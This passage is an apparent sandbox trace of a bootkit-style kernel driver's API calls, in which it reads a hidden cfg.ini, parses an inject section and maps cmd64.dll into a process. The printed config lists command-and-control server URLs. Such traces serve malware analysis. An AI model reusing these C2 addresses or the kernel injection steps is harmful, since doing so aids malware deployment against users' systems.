EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0xfffff88002f9db18*=0xffffffff800004bc, IoStatusBlock=0xfffff88002f9d7a0) returned 0x0 [0089.358] _snprintf (in: _Dest=0xfffff88002f9cf10, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0089.358] KeEnterCriticalRegion () [0089.358] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0089.358] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037d6160 [0089.358] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037d6160 | out: Irp=0xfffffa80037d6160) returned 0xfffffa80037baa70 [0089.358] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0089.358] KeInitializeEvent (in: Event=0xfffff88002f9cd80, Type=0x0, State=0 | out: Event=0xfffff88002f9cd80) [0089.358] IdePortDispatch () returned 0x103 [0089.358] KeWaitForMutexObject () returned 0x0 [0089.358] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0089.358] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0089.358] strncpy (in: _Dest=0xfffffa80027dafe0, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0089.358] FsRtlInitializeFileLock (FileLock=0xfffffa80027daff0, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0089.358] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800372e6e0 [0089.358] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0089.358] KeLeaveCriticalRegion () [0089.358] IofCompleteRequest (Irp=0xfffffa80037c7bb0, PriorityBoost=0) [0089.359] ZwAllocateVirtualMemory (in: ProcessHandle=0xffffffffffffffff, BaseAddress=0xfffff88002f9d880, ZeroBits=0x0, RegionSize=0xfffff88002f9d888, AllocationType=0x3000, Protect=0x4 | out: BaseAddress=0xfffff88002f9d880*=0x90000, RegionSize=0xfffff88002f9d888*=0x1000) returned 0x0 [0089.359] NtLockFile (in: FileHandle=0xffffffff800004bc, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, IoStatusBlock=0x90000, ByteOffset=0x90010, Length=0x90018, Key=0x0, FailImmediatedly=0, ExclusiveLock=1 | out: IoStatusBlock=0x90000) returned 0x0 [0089.359] _snprintf (in: _Dest=0xfffff88002f9d450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0089.359] KeEnterCriticalRegion () [0089.359] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0089.359] FsRtlProcessFileLock (FileLock=0xfffffa80027daff0, Irp=0xfffffa80037c7bb0, Context=0x0) returned 0x0 [0089.359] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0089.359] KeLeaveCriticalRegion () [0089.359] ZwQueryInformationFile (in: FileHandle=0xffffffff800004bc, IoStatusBlock=0xfffff88002f9d7a0, FileInformation=0xfffff88002f9d7c0, Length=0x18, FileInformationClass=0x5 | out: IoStatusBlock=0xfffff88002f9d7a0, FileInformation=0xfffff88002f9d7c0) returned 0x0 [0089.359] _snprintf (in: _Dest=0xfffff88002f9d250, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0089.359] KeEnterCriticalRegion () [0089.359] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0089.359] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037d6160 [0089.359] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037d6160 | out: Irp=0xfffffa80037d6160) returned 0xfffffa80037baa70 [0089.359] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0089.359] KeInitializeEvent (in: Event=0xfffff88002f9d0e0, Type=0x0, State=0 | out: Event=0xfffff88002f9d0e0) [0089.359] IdePortDispatch () returned 0x103 [0089.359] KeWaitForMutexObject () returned 0x0 [0089.359] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0089.359] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0089.359] KeLeaveCriticalRegion () [0089.359] IofCompleteRequest (Irp=0xfffffa80037c7bb0, PriorityBoost=0) [0089.359] FsRtlAllocatePool (PoolType=0x1, NumberOfBytes=0x1b5) returned 0xfffff8a0014ab3c0 [0089.359] _snprintf (in: _Dest=0xfffff88002f9d9d0, _Count=0x104, _Format="[%s]\r\n" | out: _Dest="[inject]\r\n") returned 10 [0089.359] _strlwr (in: _Str="[inject]\r\n" | out: _Str="[inject]\r\n") returned="[inject]\r\n" [0089.359] _snprintf (in: _Dest=0xfffff88002f9d8c0, _Count=0x104, _Format="%s=" | out: _Dest="* (x64)=") returned 8 [0089.359] _strlwr (in: _Str="* (x64)=" | out: _Str="* (x64)=") returned="* (x64)=" [0089.359] ZwReadFile (in: FileHandle=0xffffffff800004bc, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0xfffff88002f9d7a0, Buffer=0xfffff8a0014ab3c0, BufferLength=0x1b4, ByteOffset=0x0, Key=0x0 | out: IoStatusBlock=0xfffff88002f9d7a0, Buffer=0xfffff8a0014ab3c0*) returned 0x0 [0089.359] _snprintf (in: _Dest=0xfffff88002f9d230, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0089.359] KeEnterCriticalRegion () [0089.359] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0089.359] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bb73c0 [0089.359] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037d6160 [0089.359] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037d6160 | out: Irp=0xfffffa80037d6160) returned 0xfffffa8008136f40 [0089.359] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8008136f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8008136f40) [0089.359] KeInitializeEvent (in: Event=0xfffff88002f9d090, Type=0x0, State=0 | out: Event=0xfffff88002f9d090) [0089.359] IdePortDispatch () returned 0x103 [0089.360] KeWaitForMutexObject () returned 0x0 [0089.360] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0089.360] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037d6160 [0089.360] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037d6160 | out: Irp=0xfffffa80037d6160) returned 0xfffffa8008136f40 [0089.360] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8008136f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8008136f40) [0089.360] KeInitializeEvent (in: Event=0xfffff88002f9d090, Type=0x0, State=0 | out: Event=0xfffff88002f9d090) [0089.360] IdePortDispatch () returned 0x103 [0089.360] KeWaitForMutexObject () returned 0x0 [0089.360] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0089.360] KeLeaveCriticalRegion () [0089.360] IofCompleteRequest (Irp=0xfffffa80037c7bb0, PriorityBoost=0) [0089.360] strstr (_Str="[main]\r\nversion=0.03\r\naid=66671\r\nsid=0\r\nbuilddate=351\r\ninstalldate=6.12.2016 9:36:14\r\nrnd=2040373303\r\n[inject]\r\n*=cmd.dll\r\n* (x64)=cmd64.dll\r\n[cmd]\r\nsrv=https://lo4undreyk.com/;https://sh01cilewk.com/;https://cap01tchaa.com/;https://kur1k0nona.com/;https://u101mnay2k.com/\r\nwsrv=http://gnarenyawr.com/;http://rinderwayr.com/;http://jukdoout0.com/;http://swltcho0.com/;http://ranmjyuke.com/\r\npsrv=http://crj71ki813ck.com/\r\nversion=0.31\r\n", _SubStr="[inject]\r\n") returned="[inject]\r\n*=cmd.dll\r\n* (x64)=cmd64.dll\r\n[cmd]\r\nsrv=https://lo4undreyk.com/;https://sh01cilewk.com/;https://cap01tchaa.com/;https://kur1k0nona.com/;https://u101mnay2k.com/\r\nwsrv=http://gnarenyawr.com/;http://rinderwayr.com/;http://jukdoout0.com/;http://swltcho0.com/;http://ranmjyuke.com/\r\npsrv=http://crj71ki813ck.com/\r\nversion=0.31\r\n" [0089.360] strstr (_Str="*=cmd.dll\r\n* (x64)=cmd64.dll\r\n", _SubStr="* (x64)=") returned="* (x64)=cmd64.dll\r\n" [0089.360] strncpy (in: _Dest=0xfffffa800380d9c4, _Source="cmd64.dll", _Count=0x104 | out: _Dest="cmd64.dll") returned="cmd64.dll" [0089.360] ZwFreeVirtualMemory (ProcessHandle=0xffffffffffffffff, BaseAddress=0xfffff88002f9d880*=0x90000, RegionSize=0xfffff88002f9d888, FreeType=0x8000) returned 0x0 [0089.360] ExFreePoolWithTag (P=0xfffff8a0014ab3c0, Tag=0x0) [0089.360] ZwClose (Handle=0xffffffff800004bc) returned 0x0 [0089.360] _snprintf (in: _Dest=0xfffff88002f9d310, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0089.360] KeEnterCriticalRegion () [0089.360] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0089.360] IoGetRequestorProcess (Irp=0xfffffa80037c7bb0) returned 0xfffffa80018ab040 [0089.360] FsRtlFastUnlockAll (FileLock=0xfffffa80027daff0, FileObject=0xfffffa800380d670, ProcessId=0xfffffa80018ab040, Context=0x0) returned 0x0 [0089.360] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0089.360] KeLeaveCriticalRegion () [0089.360] IofCompleteRequest (Irp=0xfffffa80037c7bb0, PriorityBoost=0) [0089.360] _snprintf (in: _Dest=0xfffff88002f9d330, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0089.360] KeEnterCriticalRegion () [0089.360] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0089.360] ExFreePoolWithTag (P=0xfffffa800372e6e0, Tag=0x0) [0089.360] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0089.361] KeLeaveCriticalRegion () [0089.361] IofCompleteRequest (Irp=0xfffffa80037c7bb0, PriorityBoost=0) [0089.361] KeStackAttachProcess (in: PROCESS=0xfffffa800380b630, ApcState=0xfffff88002f9da58 | out: PROCESS=0xfffffa800380b630, ApcState=0xfffff88002f9da58) [0089.361] _snwprintf (in: _Dest=0xfffffa800380d7bc, _Count=0x103, _Format="%s\\%S" | out: _Dest="\\device\\000001a9\\0d24eb7c\\cmd64.dll") returned 35 [0089.361] RtlInitUnicodeString (in: DestinationString=0xfffff88002f9da38, SourceString="\\device\\000001a9\\0d24eb7c\\cmd64.dll" | out: DestinationString="\\device\\000001a9\\0d24eb7c\\cmd64.dll") [0089.361] ZwOpenFile (in: FileHandle=0xfffff88002f9d9e8, DesiredAccess=0x100001, ObjectAttributes=0xfffff88002f9da08*(Length=0x30, RootDirectory=0x0, ObjectName="\\device\\000001a9\\0d24eb7c\\cmd64.dll" (normalized: "\\device\\000001a9\\0d24eb7c\\cmd64.dll"), Attributes=0x240, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0xfffff88002f9da48, ShareAccess=0x1, OpenOptions=0x20 | out: FileHandle=0xfffff88002f9d9e8*=0xffffffff800004bc, IoStatusBlock=0xfffff88002f9da48) returned 0x0 [0089.361] _snprintf (in: _Dest=0xfffff88002f9d150, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cmd64.dll") returned 18 [0089.361] KeEnterCriticalRegion () [0089.361] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0089.361] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037d6160 [0089.361] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037d6160 | out: Irp=0xfffffa80037d6160) returned 0xfffffa80037baa70 [0089.361] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0089.361] KeInitializeEvent (in: Event=0xfffff88002f9cfc0, Type=0x0, State=0 | out: Event=0xfffff88002f9cfc0) [0089.361] IdePortDispatch () returned 0x103 [0089.361] KeWaitForMutexObject () returned 0x0 [0089.361] _strnicmp (_Str1="cfg.ini", _Str="cmd64.dll", _MaxCount=0x10) returned -7 [0089.361] _strnicmp (_Str1="mbr", _Str="cmd64.dll", _MaxCount=0x10) returned 10 [0089.361] _strnicmp (_Str1="ldr16", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0089.361] _strnicmp (_Str1="ldr32", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0089.361] _strnicmp (_Str1="ldr64", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0089.361] _strnicmp (_Str1="drv32", _Str="cmd64.dll", _MaxCount=0x10) returned 1 [0089.361] _strnicmp (_Str1="drv64", _Str="cmd64.dll", _MaxCount=0x10) returned 1 [0089.361] _strnicmp (_Str1="cmd.dll", _Str="cmd64.dll", _MaxCount=0x10) returned -8 [0089.361] _strnicmp (_Str1="cmd64.dll", _Str="cmd64.dll", _MaxCount=0x10) returned 0 [0089.361] _strnicmp (_Str1="cmd64.dll", _Str="cmd64.dll", _MaxCount=0x10) returned 0 [0089.361] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003736430 [0089.361] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0089.361] KeLeaveCriticalRegion () [0089.361] IofCompleteRequest (Irp=0xfffffa80037c7bb0, PriorityBoost=0) [0089.361] ZwCreateSection (in: SectionHandle=0xfffff88002f9d9e0, DesiredAccess=0xf001f, ObjectAttributes=0x0, MaximumSize=0x0, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0xffffffff800004bc | out: SectionHandle=0xfffff88002f9d9e0*=0x14) returned 0x0 [0089.361] _snprintf (in: _Dest=0xfffff88002f9d260, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cmd64.dll") returned 18 [0089.361] KeEnterCriticalRegion () [0089.361] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0089.361] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037d6160 [0089.361] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037d6160 | out: Irp=0xfffffa80037d6160) returned 0xfffffa80037baa70 [0089.361] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0089.361] KeInitializeEvent (in: Event=0xfffff88002f9d0f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d0f0) [0089.361] IdePortDispatch () returned 0x103 [0089.362] KeWaitForMutexObject () returned 0x0 [0089.362] _strnicmp (_Str1="cfg.ini", _Str="cmd64.dll", _MaxCount=0x10) returned -7 [0089.362] _strnicmp (_Str1="mbr", _Str="cmd64.dll", _MaxCount=0x10) returned 10 [0089.362] _strnicmp (_Str1="ldr16", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0089.362] _strnicmp (_Str1="ldr32", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0089.362] _strnicmp (_Str1="ldr64", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0089.362] _strnicmp (_Str1="drv32", _Str="cmd64.dll", _MaxCount=0x10) returned 1 [0089.362] _strnicmp (_Str1="drv64", _Str="cmd64.dll", _MaxCount=0x10) returned 1 [0089.362] _strnicmp (_Str1="cmd.dll", _Str="cmd64.dll", _MaxCount=0x10) returned -8 [0089.362] _strnicmp (_Str1="cmd64.dll", _Str="cmd64.dll", _MaxCount=0x10) returned 0 [0089.362] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0089.362] KeLeaveCriticalRegion () [0089.362] IofCompleteRequest (Irp=0xfffffa80037c7bb0, PriorityBoost=0) [0089.362] ZwMapViewOfSection (in: SectionHandle=0x14, ProcessHandle=0xffffffff800004cc, BaseAddress=0xfffff88002f9d9d0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0xfffff88002f9da00, InheritDisposition=0xfffff88000000002, AllocationType=0x100000, AccessProtection=0x2 | out: BaseAddress=0xfffff88002f9d9d0*=0x7fffffa0000, SectionOffset=0x0, ViewSize=0xfffff88002f9da00*=0x6000) returned 0x0 [0089.362] RtlImageNtHeader (BaseAddress=0x7fffffa0000) returned 0x7fffffa0040 [0089.362] _snprintf (in: _Dest=0xfffff88002f9d390, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cmd64.dll") returned 18 [0089.362] KeEnterCriticalRegion () [0089.362] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0089.362] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bb8000 [0089.362] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037d6160 [0089.362] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037d6160 | out: Irp=0xfffffa80037d6160) returned 0xfffffa80037baa70 [0089.362] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0089.362] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0089.362] IdePortDispatch () returned 0x103 [0089.362] KeWaitForMutexObject () returned 0x0 [0089.362] _strnicmp (_Str1="cfg.ini", _Str="cmd64.dll", _MaxCount=0x10) returned -7 [0089.362] _strnicmp (_Str1="mbr", _Str="cmd64.dll", _MaxCount=0x10) returned 10 [0089.362] _strnicmp (_Str1="ldr16", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0089.362] _strnicmp (_Str1="ldr32", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0089.362] _strnicmp (_Str1="ldr64", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0089.362] _strnicmp (_Str1="drv32", _Str="cmd64.dll", _MaxCount=0x10) returned 1 [0089.363] _strnicmp (_Str1="drv64", _Str="cmd64.dll", _MaxCount=0x10) returned 1 [0089.363] _strnicmp (_Str1="cmd.dll", _Str="cmd64.dll", _MaxCount=0x10) returned -8 [0089.363] _strnicmp (_Str1="cmd64.dll", _Str="cmd64.dll", _MaxCount=0x10) returned 0 [0089.363] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037d6160 [0089.363] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037d6160 | out: Irp=0xfffffa80037d6160) returned 0xfffffa80037baa70 [0089.363] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0089.363] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0089.363] IdePortDispatch () returned 0x103 [0089.363] KeWaitForMutexObject () returned 0x0 [0089.363] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037d6160 [0089.363] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037d6160 | out: Irp=0xfffffa80037d6160) returned 0xfffffa80037baa70 [0089.363] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0089.363] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0089.363] IdePortDispatch () returned 0x103 [0089.363] KeWaitForMutexObject () returned 0x0 [0089.363] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037d6160 [0089.363] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037d6160 | out: Irp=0xfffffa80037d6160) returned 0xfffffa80037baa70 [0089.363] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0089.363] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0089.363] IdePortDispatch () returned 0x103 [0089.363] KeWaitForMutexObject () returned 0x0 [0089.363] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037d6160 [0089.363] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037d6160 | out: Irp=0xfffffa80037d6160) returned 0xfffffa80037baa70 [0089.363] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0089.363] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0089.363] IdePortDispatch () returned 0x103 [0089.364] KeWaitForMutexObject () returned 0x0 [0089.364] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037d6160 [0089.364] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037d6160 | out: Irp=0xfffffa80037d6160) returned 0xfffffa80037baa70 [0089.364] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0089.364] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0089.364] IdePortDispatch () returned 0x103 [0089.364] KeWaitForMutexObject () returned 0x0 [0089.364] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037d6160 [0089.364] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037d6160 | out: Irp=0xfffffa80037d6160) returned 0xfffffa80037baa70 [0089.364] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0089.364] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0089.364] IdePortDispatch () returned 0x103 [0089.364] KeWaitForMutexObject () returned 0x0 [0089.364] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037d6160 [0089.364] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037d6160 | out: Irp=0xfffffa80037d6160) returned 0xfffffa80037baa70 [0089.364] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0089.364] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0089.364] IdePortDispatch () returned 0x103 [0089.365] KeWaitForMutexObject () returned 0x0 [0089.365] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037d6160 [0089.365] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037d6160 | out: Irp=0xfffffa80037d6160) returned 0xfffffa80037baa70 [0089.365] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0089.365] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0089.365] IdePortDispatch () returned 0x103 [0089.367] KeWaitForMutexObject () returned 0x0 [0089.367] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037d6160 [0089.367] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037d6160 | out: Irp=0xfffffa80037d6160) returned 0xfffffa80037baa70 [0089.367] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0089.367] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0089.367] IdePortDispatch () returned 0x103 [0089.367] KeWaitForMutexObject () returned 0x0 [0089.367] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037d6160 [0089.367] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037d6160 | out: Irp=0xfffffa80037d6160) returned 0xfffffa80037baa70 [0089.367] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0089.367] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0089.367] IdePortDispatch () returned 0x103 [0089.367] KeWaitForMutexObject () returned 0x0 [0089.367] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037d6160 [0089.367] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037d6160 | out: Irp=0xfffffa80037d6160) returned 0xfffffa80037baa70 [0089.367] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0089.367] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0089.367] IdePortDispatch () returned 0x103 [0089.367] KeWaitForMutexObject () returned 0x0 [0089.367] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037d6160 [0089.367] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037d6160 | out: Irp=0xfffffa80037d6160) returned 0xfffffa80037baa70 [0089.367] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0089.367] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0089.368] IdePortDispatch () returned 0x103 [0089.368] KeWaitForMutexObject () returned 0x0 [0089.368] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037d6160 [0089.368] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037d6160 | out: Irp=0xfffffa80037d6160) returned 0xfffffa80037baa70 [0089.368] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0089.368] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: 